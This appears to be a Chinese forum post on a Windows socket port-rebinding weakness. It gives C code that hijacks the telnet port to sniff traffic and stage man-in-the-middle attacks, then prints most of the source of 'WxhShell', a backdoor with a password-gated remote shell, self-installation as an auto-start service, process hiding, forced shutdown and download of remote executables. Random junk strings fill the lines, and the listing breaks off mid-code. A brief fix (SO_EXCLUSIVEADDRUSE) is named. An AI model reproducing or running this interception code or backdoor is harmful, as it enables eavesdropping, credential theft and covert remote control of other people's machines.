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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1YxG<K]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "-HmXw1+t  
xJSK"  
  saddr.sin_family = AF_INET; -=)Al^V4T  
DLP G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U81--'@y  
gvLzE&V}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O<EFm}Ae  
U1!#TD)@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r3_O?b  
i`hr'}x  
  这意味着什么?意味着可以进行如下的攻击: iF#|Z$g-(  
?!Bf# "TY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mIy|]e`SJ  
5y`n8. (?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Gi=s|vt  
ccPTJ/%$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jqeR{yo&0b  
*fj5$T-Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W3.(s~ )o  
&ap&dM0@%a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C ks;f6G  
7}r6mr0vpm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RcG 1J7#i  
U-mZO7y!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :{Mr~Co*  
DY(pU/q  
  #include b$W~w*O   
  #include G3wkqd  
  #include "z6 xS;  
  #include    RNMd,?dj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N R0"yJV>  
  int main() rY,zZR+@  
  { ;b6h/*;'  
  WORD wVersionRequested; km,I75o.  
  DWORD ret; q4y sTm  
  WSADATA wsaData; 1&.q#,EMn(  
  BOOL val; f'WRszrF  
  SOCKADDR_IN saddr; hC D6  
  SOCKADDR_IN scaddr; RoLN#  
  int err; 9 7Ua,  
  SOCKET s; /a7N:Z_Bz  
  SOCKET sc; &ra2(S45  
  int caddsize; 8W"Xdv{  
  HANDLE mt; 9pMXjsE   
  DWORD tid;   `37%|e3bQ  
  wVersionRequested = MAKEWORD( 2, 2 ); =!N,{V_  
  err = WSAStartup( wVersionRequested, &wsaData ); ]]^r)&pox  
  if ( err != 0 ) { >.1d1#+b  
  printf("error!WSAStartup failed!\n"); N# <X"&-_#  
  return -1; zb,YYE1  
  } k((kx:  
  saddr.sin_family = AF_INET; K 3.z>.F'h  
   Min {&?a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^9zlxs`<d  
&\iMIJ-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cES8%UC^i  
  saddr.sin_port = htons(23); Q>g-xe 1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "UUoT  
  { 's\rQ-TV  
  printf("error!socket failed!\n"); fJK;[*&Y  
  return -1; P/,ezVb=  
  } c1M *w9o  
  val = TRUE; O^DLp/vM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %zYTTPLZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &~'^;hy=  
  { R q .2  
  printf("error!setsockopt failed!\n"); 95.s,'0  
  return -1; ?W\KIp \Kn  
  } Fgw$;W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #}+_Hy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?6V U4nK/*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l(Y\@@t1  
@g] >D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =l4F/?u]f@  
  { p?#xd!tc2N  
  ret=GetLastError(); $AF,4Ir-b+  
  printf("error!bind failed!\n"); )(h<vo)-zX  
  return -1; ')Qb,#/,%  
  } d(q2gd@  
  listen(s,2); JpZ3T~Wrf  
  while(1) 'e*:eBoyb  
  { g>n1mK|  
  caddsize = sizeof(scaddr); F-<c.0;6  
  //接受连接请求 , L5.KwB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -ze@~Z@  
  if(sc!=INVALID_SOCKET) ?MD\\gN  
  { oR}'I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1Ba.'~:  
  if(mt==NULL) oRHWb_$"  
  { e^h4cC\^  
  printf("Thread Creat Failed!\n"); Z9UNp[  0  
  break; xz){RkVzP  
  } X({R+  
  } E@8&#<  
  CloseHandle(mt); gx=2]~O1(  
  } Z`yW2ON$'  
  closesocket(s); bdyIt)tK+  
  WSACleanup(); $`txU5#vs  
  return 0; V]|P>>`v9p  
  }   lt|UehJ F  
  DWORD WINAPI ClientThread(LPVOID lpParam) LLJsBHi-  
  { ~c|{PZ9U  
  SOCKET ss = (SOCKET)lpParam; '+iqbcUd,  
  SOCKET sc; iYz!:TxP  
  unsigned char buf[4096]; e2Df@8>  
  SOCKADDR_IN saddr; NplkhgSj  
  long num; gg QI  
  DWORD val; #6za  
  DWORD ret; "uD^1'IW2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }zqYn`ffD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uDG#L6  
  saddr.sin_family = AF_INET; v DVE#Nm_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X-J<gI(Y  
  saddr.sin_port = htons(23); "hXB_73)V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yWZ%|K~$  
  { j~`rc2n%  
  printf("error!socket failed!\n"); ['_G1_p  
  return -1; Q~G>=J9  
  } < c[dpK5c  
  val = 100; 7VKTI:5y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2B&|0&WI  
  { x)!NB99(tC  
  ret = GetLastError(); y w>T1  
  return -1; #ZPy&GIr  
  } %SD=3UK6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |csR"DOqz  
  { 8Qi@z Jq,  
  ret = GetLastError(); \ D,c*I|p7  
  return -1; '}$$o1R  
  } ay,E!G&H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RNn5,W  
  { 1VC:o]$  
  printf("error!socket connect failed!\n"); isR|K9qf^  
  closesocket(sc); iLD:}yK  
  closesocket(ss); Wf>scl `s  
  return -1; o$-!E(p  
  } ]M5w!O!  
  while(1) ESt@%7.F  
  { )Y}8)/Pud  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =g+Rk+jn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {@w!kl~8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @>sZ'M2mq  
  num = recv(ss,buf,4096,0); ^E(:nxQ6s  
  if(num>0) jsOid5bs  
  send(sc,buf,num,0); 9akIu.H  
  else if(num==0) sHQ82uX  
  break; xf]_@T;  
  num = recv(sc,buf,4096,0); I@<\DltPi  
  if(num>0) y}t1r |p  
  send(ss,buf,num,0); bI"_hvcFp  
  else if(num==0) H~Fb=.h]U  
  break; Wy`ve~y  
  } 5g(`U+ ,*(  
  closesocket(ss); V O= o)H\  
  closesocket(sc); j6_tFJT  
  return 0 ; nD51,1>  
  } 5p7?e3  
yMoV|U6  
e7^B3FOx  
========================================================== aX$Q}mgb  
^E^Cj;od@  
下边附上一个代码,,WXhSHELL IDIok~B=e  
?]]d s]  
========================================================== *P.Dbb8vn  
FELDz7DYya  
#include "stdafx.h" kZ>Xl- LV  
NP#:} )  
#include <stdio.h> awic9 uMH  
#include <string.h> B<" `<oG@|  
#include <windows.h> %P2l@}?a  
#include <winsock2.h> gx',~  
#include <winsvc.h> iir]M`A.-  
#include <urlmon.h> ZcLW8L  
<+mYC'p  
#pragma comment (lib, "Ws2_32.lib") t/57LjV  
#pragma comment (lib, "urlmon.lib") @z-%:J/$  
V|n}v?f_q  
#define MAX_USER   100 // 最大客户端连接数 #oX8EMqs<  
#define BUF_SOCK   200 // sock buffer Oe["4C  
#define KEY_BUFF   255 // 输入 buffer 74p=uQ  
!RD<"  
#define REBOOT     0   // 重启 p9`!.~[  
#define SHUTDOWN   1   // 关机 ;qN;oSK  
[PW\l+i  
#define DEF_PORT   5000 // 监听端口 "h'+!2mf  
~]_U!r[FA  
#define REG_LEN     16   // 注册表键长度 nde_%d$  
#define SVC_LEN     80   // NT服务名长度 ;LXwW(_6d  
S 4hv7.A  
// 从dll定义API Y*Ra!]62  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T{:~v+I=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \QvoL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nUy.gAb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CVt:tV  
' %&gER  
// wxhshell配置信息 cM hBOm*  
struct WSCFG { rn9n_)  
  int ws_port;         // 监听端口 fFYfb4o  
  char ws_passstr[REG_LEN]; // 口令 + ;LO|!  
  int ws_autoins;       // 安装标记, 1=yes 0=no BH"OphE  
  char ws_regname[REG_LEN]; // 注册表键名 ?XIB\7}  
  char ws_svcname[REG_LEN]; // 服务名 {KGEv%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *t%Z'IA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H _0F:e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yCvP-?2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ki6L t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]T:a&DHC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H-&T)  
[. Db56  
}; 2Wn*J[5  
}] p9  
// default Wxhshell configuration YWFq&II|Z  
struct WSCFG wscfg={DEF_PORT, Ls` [7w  
    "xuhuanlingzhe", m!K`?P]:N  
    1, OAauD$Hh  
    "Wxhshell", 2<FEn$n[  
    "Wxhshell", 4OaU1Y[  
            "WxhShell Service", ?Qxf~,F  
    "Wrsky Windows CmdShell Service", 7,lnfCm H  
    "Please Input Your Password: ", 2Onp{,'}  
  1, ;aN_!! r  
  "http://www.wrsky.com/wxhshell.exe", IE|? &O  
  "Wxhshell.exe" smUSR4VK  
    }; ;=p3L<~c`K  
:N^+!,i  
// 消息定义模块 KTq+JT u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZuFcJ?8i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BPuum  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =(]Z%Q-V  
char *msg_ws_ext="\n\rExit."; k-Yli21-/|  
char *msg_ws_end="\n\rQuit."; I`f5)iF?0  
char *msg_ws_boot="\n\rReboot..."; [=BccT:b  
char *msg_ws_poff="\n\rShutdown..."; GXp`yK9c  
char *msg_ws_down="\n\rSave to "; f DwK5?  
kV+%(Gl8  
char *msg_ws_err="\n\rErr!"; u4h0s1iI  
char *msg_ws_ok="\n\rOK!"; N[r Ab*iT  
AP1&TQ,&  
char ExeFile[MAX_PATH]; H76iBJ66  
int nUser = 0; |A/H*J,  
HANDLE handles[MAX_USER]; -VeC X]  
int OsIsNt; `*l aUn  
Q5^ #:uZ  
SERVICE_STATUS       serviceStatus; >UQY3C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P)l_ :;&  
1<tJ3>Xl  
// 函数声明 B[I9<4}  
int Install(void); 84WX I#BH  
int Uninstall(void); p$t|eu  
int DownloadFile(char *sURL, SOCKET wsh); $nb.[si\  
int Boot(int flag); Cyos *  
void HideProc(void); VV{>Kq+&,v  
int GetOsVer(void); a%A!Dz S  
int Wxhshell(SOCKET wsl); 8t3m$<7  
void TalkWithClient(void *cs); P)kJ[Zv>f  
int CmdShell(SOCKET sock); Sbl=U  
int StartFromService(void); S,j. ?u*!  
int StartWxhshell(LPSTR lpCmdLine); O%3Hp.|!  
d:k n%L6k_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '4nJ*Xa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X$;&Mdo.  
~o>Gm>5!HH  
// 数据结构和表定义 lLp,sNAj  
SERVICE_TABLE_ENTRY DispatchTable[] = H %c6I  
{ ^?$,sS ;Q  
{wscfg.ws_svcname, NTServiceMain}, j*5IRzK1%0  
{NULL, NULL} [}YUi>NGA  
}; fZezDm(Q  
^DN:.qQ  
// 自我安装 )S 7+y6f&*  
int Install(void) jQ,Vs=*H  
{ fd4C8>*7G  
  char svExeFile[MAX_PATH]; g@37t @I  
  HKEY key; gfs;?vP  
  strcpy(svExeFile,ExeFile); {9yf0n  
@zC6`  
// 如果是win9x系统,修改注册表设为自启动 Bb:C^CHIQm  
if(!OsIsNt) { Lo~ ;pvv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4 s ax  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s(nT7x+W  
  RegCloseKey(key); >v%js!`f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wS);KLe3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 00.x*v  
  RegCloseKey(key); <(q(5jG  
  return 0; HT6 [Z1  
    } 4WJY+)  
  } {g! 7K  
} |)+ SG>-  
else { N(Ru/9!y"  
P&uSh?[ ^  
// 如果是NT以上系统,安装为系统服务 1!KROes4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H.m]Dm,z  
if (schSCManager!=0) J7* o%W*V  
{ {2h *NFp  
  SC_HANDLE schService = CreateService MzD1sWmK  
  ( !1G KpL  
  schSCManager, 16zReI(  
  wscfg.ws_svcname, KGYbPty}  
  wscfg.ws_svcdisp, &h0LWPl  
  SERVICE_ALL_ACCESS, |gA@WV-%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "5&"Ij,/  
  SERVICE_AUTO_START, 3uocAmY  
  SERVICE_ERROR_NORMAL, 0+e=s0s.  
  svExeFile, 2ZY$/  
  NULL, SO=gG 2E  
  NULL, Cgx:6TRS  
  NULL, =mO5~~"W+v  
  NULL, |Dn Zk3M,  
  NULL 2%sZaM  
  ); 4<i#TCGex3  
  if (schService!=0)  u]Ku96!  
  { 5rows]EJJl  
  CloseServiceHandle(schService); B/wD~xC?x  
  CloseServiceHandle(schSCManager); CefFUqo4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `(FjOd K  
  strcat(svExeFile,wscfg.ws_svcname); (oG YnN,2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v>]g="5}8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J'}+0mln  
  RegCloseKey(key); :)~l3:O  
  return 0; "E\vdhk  
    } ]q1w@)]n}  
  } 9;+&}:IVS  
  CloseServiceHandle(schSCManager); Y~vk>ZC  
} @Chl>s  
} Sb[>R(0:  
&<N8d(  
return 1; ',r` )9o  
} :}e<  
NV * 2  
// 自我卸载 [P &B  
int Uninstall(void) (%X *b.n=  
{ -TF},V~  
  HKEY key; 1eD#-tzV  
#kv9$  
if(!OsIsNt) { @D;K&:~|N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Q /LC0?  
  RegDeleteValue(key,wscfg.ws_regname); d_25]B(  
  RegCloseKey(key); $VmV>NZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { peVY2\1>R  
  RegDeleteValue(key,wscfg.ws_regname); 3N_KNW  
  RegCloseKey(key); 05 6K)E  
  return 0; f SkC>mWv  
  } y~+LzDV  
} 8xLQ" l+"  
} d~aTjf  
else { FEk9a^Xyx  
mW"e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g$uiwqNA%  
if (schSCManager!=0) xRWfZ3E#  
{ HIc;Lc8$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?Z{/0X)]|  
  if (schService!=0) 8'Q+%{?1t  
  {  vc: kY  
  if(DeleteService(schService)!=0) { >GIQT ?O6  
  CloseServiceHandle(schService); ? X8`+`nh  
  CloseServiceHandle(schSCManager); NOTG|\{  
  return 0; WfO EI1  
  } <#:iltO  
  CloseServiceHandle(schService); cIO/8D#zU  
  } Nf4@m|#  
  CloseServiceHandle(schSCManager); K>'4^W5d,  
} @wXYza0|d  
} .u A O.<  
9BakxmAc  
return 1; /uWUQ#9  
} YMw,C:a4  
!\'w>y7  
// 从指定url下载文件 1jx?zvE,  
int DownloadFile(char *sURL, SOCKET wsh) F7}yt  
{ &5HI   
  HRESULT hr; '@24<T]  
char seps[]= "/"; W _[9  
char *token; mg*iW55g  
char *file; Zdrniae ah  
char myURL[MAX_PATH]; ;R+Gf!1  
char myFILE[MAX_PATH]; ` &=%p|  
P=}l.R*1G  
strcpy(myURL,sURL); _&HFKpHQ  
  token=strtok(myURL,seps); s {*rBX8N  
  while(token!=NULL) F4=X(P_6  
  { tuH#Cy  
    file=token; l%V+] skS  
  token=strtok(NULL,seps); d1yLDj?  
  } -wUT@a  
#: EhGlq8  
GetCurrentDirectory(MAX_PATH,myFILE); GB+$ed5@<  
strcat(myFILE, "\\"); iu=@ h>C  
strcat(myFILE, file); O4nA ?bA  
  send(wsh,myFILE,strlen(myFILE),0); qW3XA$g|j'  
send(wsh,"...",3,0); uaD+G:{ [  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \HD:#a  
  if(hr==S_OK) QfjoHeG7  
return 0; t^bh2 $J  
else Z{u]qI{l  
return 1; di;~$rI!?  
Eb,M+c?  
} kJ* N`=  
)3F}IgD  
// 系统电源模块  <}^p5|  
int Boot(int flag) "Ml#,kU<T  
{ <&+0  
  HANDLE hToken; s&%r?  
  TOKEN_PRIVILEGES tkp; S!-t{Q+j^  
87pu\(,'  
  if(OsIsNt) { 4[Ko|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _or_Vw!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fG?a"6~  
    tkp.PrivilegeCount = 1; t.!?"kP"c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iqF|IVPoi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }V/iU_)  
if(flag==REBOOT) { WM9({BZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rZAP3)dA  
  return 0; {Zs EYUP  
} vqF=kB"P  
else { (\'lV8}U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X&Ospl@H  
  return 0; 75h]# k9\  
} >TGc0 z+  
  } Z@ec}`UO|u  
  else { 5HB*  
if(flag==REBOOT) { ^]/V-!j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =OrVaZ0  
  return 0; kB?Uw#  
} Eg4&D4TG p  
else { |@B|o-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >2'A~?%  
  return 0; T7Y+ WfYh  
} B90fUK2g  
} &`'@}o>2  
;+3@S`2r  
return 1; :VR% I;g;  
} |*~SR.[`  
*aYuuRx  
// win9x进程隐藏模块 5o^\jTEl^  
void HideProc(void) {XXnMO4uR;  
{ _GoFwVO  
@E> rqI;`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LCSJIt  
  if ( hKernel != NULL ) M>*xbBl  
  { =QwT)KRB%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rd@?2)Xm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FZ FPzH  
    FreeLibrary(hKernel); 8qUNh#  
  } !Ks<%; rb  
H@|m^1  
return; (F*y27_u  
} $GD Q1&Z  
;6=*E'  
// 获取操作系统版本 %mS>v|  
int GetOsVer(void) Sq`Zuu9t  
{ K7,Sr1O `  
  OSVERSIONINFO winfo; y=}o|/5"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3my_Gp  
  GetVersionEx(&winfo); cVaGgP}\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QwnqysNx4  
  return 1; T|--ZRYn  
  else S:c d'68D  
  return 0; a!&<jM  
} h\6 t\_^\  
!#4b#l(e6  
// 客户端句柄模块 #,SPV&  
int Wxhshell(SOCKET wsl) -c[fg+L9  
{ 1/=6s5vS}  
  SOCKET wsh; Vzh\ 1cF  
  struct sockaddr_in client; @f#6Nu  
  DWORD myID; EiPOY'  
.p78 \T  
  while(nUser<MAX_USER) 6"2IV  
{ (Wn^~-`=+  
  int nSize=sizeof(client); o}L\b,])  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G[zVGqk  
  if(wsh==INVALID_SOCKET) return 1; i&L!?6 5-f  
K{iC'^wP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SM.KM_%K  
if(handles[nUser]==0) ,UxAHCR~9  
  closesocket(wsh); .bNG:y>  
else riSgb=7q9  
  nUser++; cE*d(g  
  } nz/cs n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5?>ES*  
/kqa|=-`q  
  return 0; kq> I?wg  
} H6M G5f_  
p|w0 i[hc  
// 关闭 socket #?DoP]1Y  
void CloseIt(SOCKET wsh) %vRCs]  
{ [$`%ve  
closesocket(wsh); ;y-sd?pAk  
nUser--; tPFj[Y~Iy  
ExitThread(0); 1-s G`%  
} (~?p`g+I.P  
}(9ZME<(  
// 客户端请求句柄 *~`BG5w  
void TalkWithClient(void *cs) Upz?x{>x  
{ UYhxgPGsj  
kK.[v'[>&  
  SOCKET wsh=(SOCKET)cs; wB"`lY   
  char pwd[SVC_LEN]; ;e W\41w  
  char cmd[KEY_BUFF]; wT+\:y  
char chr[1]; ZQ_AqzT3D  
int i,j; n]jw!;  
o`Q.;1(Y'  
  while (nUser < MAX_USER) { a[E}o<{  
#@P0i^pFTB  
if(wscfg.ws_passstr) { )h0b}HMW)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *eMMfxFl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rXq{WS`  
  //ZeroMemory(pwd,KEY_BUFF); %m-U:H.Vp  
      i=0; &BN#"- J  
  while(i<SVC_LEN) { +.QJZo_  
Yzw[.(jc}  
  // 设置超时 /25Ay  
  fd_set FdRead; 'i4L.&  
  struct timeval TimeOut; m"wP]OQH*+  
  FD_ZERO(&FdRead); N t\ZM  
  FD_SET(wsh,&FdRead); sEi9<$~R@0  
  TimeOut.tv_sec=8; xcH&B %;f  
  TimeOut.tv_usec=0; Hz>Dp !  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -L!lJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gmZ] E45  
\t)`Cp6,[b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z#2n+hwE  
  pwd=chr[0]; uc/W/c u,  
  if(chr[0]==0xd || chr[0]==0xa) { i:1 @ vo  
  pwd=0; q`UaJ_7  
  break; J|`.d46  
  } Gr#WD=I-}  
  i++; ;RYIc0%  
    } <(i5hmuVd  
tTWEhHQ`  
  // 如果是非法用户,关闭 socket `4g}(-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -F MonM  
} <,D*m+BWn  
Zn[ppsz|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &0xM 2J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YLuf2ja}X  
5]n\E?V'L  
while(1) { |#'n VN.;  
~0@fK<C)O  
  ZeroMemory(cmd,KEY_BUFF); O&,8X-Ix  
SYa O'c  
      // 自动支持客户端 telnet标准   \>X!n2rLZe  
  j=0; Y=5P=wE  
  while(j<KEY_BUFF) { -gUp/ #l1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QW tDZ>  
  cmd[j]=chr[0]; SmIcqM  
  if(chr[0]==0xa || chr[0]==0xd) { Kxg@(Q  
  cmd[j]=0; =[LorvX+  
  break; hCS}  
  } 9Vo*AK'&U  
  j++; vrcIwCa  
    } SMzq,?-`  
b` va\ '&3  
  // 下载文件 </u=<^ire  
  if(strstr(cmd,"http://")) { }1W@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z+-o}i  
  if(DownloadFile(cmd,wsh)) w ?*eBLJ(G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZvMU3])u  
  else /(.:l +[w[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LD1&8kJ*l  
  } )Yv=:+f  
  else { -Jw4z# /-  
Ri~$hs!  
    switch(cmd[0]) { =4l @A>  
  5OzEY7K)  
  // 帮助 v?Utz~lQ  
  case '?': { W"GW[~ h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <fM}Kk  
    break; E2d'P  
  } Tjhy@3  
  // 安装 Q;g7<w17  
  case 'i': { OF+4Mq  
    if(Install()) JWIY0iP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;81,1 Ie<~  
    else oLh ,F"nB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iER@_?  
    break; 1^^8,.'  
    } a4*976~![  
  // 卸载 T7^;!;i`X  
  case 'r': { I<ohh`.  
    if(Uninstall()) <r.QS[:h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d?T!)w  
    else y<E]; ub  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }cr'o"4  
    break; k$JOHru  
    } V5z2.} 'o-  
  // 显示 wxhshell 所在路径 Dzf\m>H[  
  case 'p': { rpK&OR/  
    char svExeFile[MAX_PATH]; !Yv_V]u=  
    strcpy(svExeFile,"\n\r"); {;u,04OVK  
      strcat(svExeFile,ExeFile); mXOI"B9Sq  
        send(wsh,svExeFile,strlen(svExeFile),0); Z )M "`2Ur  
    break; 6UuN-7z!"  
    } LwK]fFtu  
  // 重启 ws+'*7  
  case 'b': { ]i$y;]f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5P%#5Yr2  
    if(Boot(REBOOT)) 2cH RiRT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rR-[CT  
    else { ,MNv}w@  
    closesocket(wsh); zMFTkDY  
    ExitThread(0); _&BK4?H@b  
    } 3HpqMz  
    break; %m\:AK[}  
    } TA-2{=8  
  // 关机 `\62 iUN  
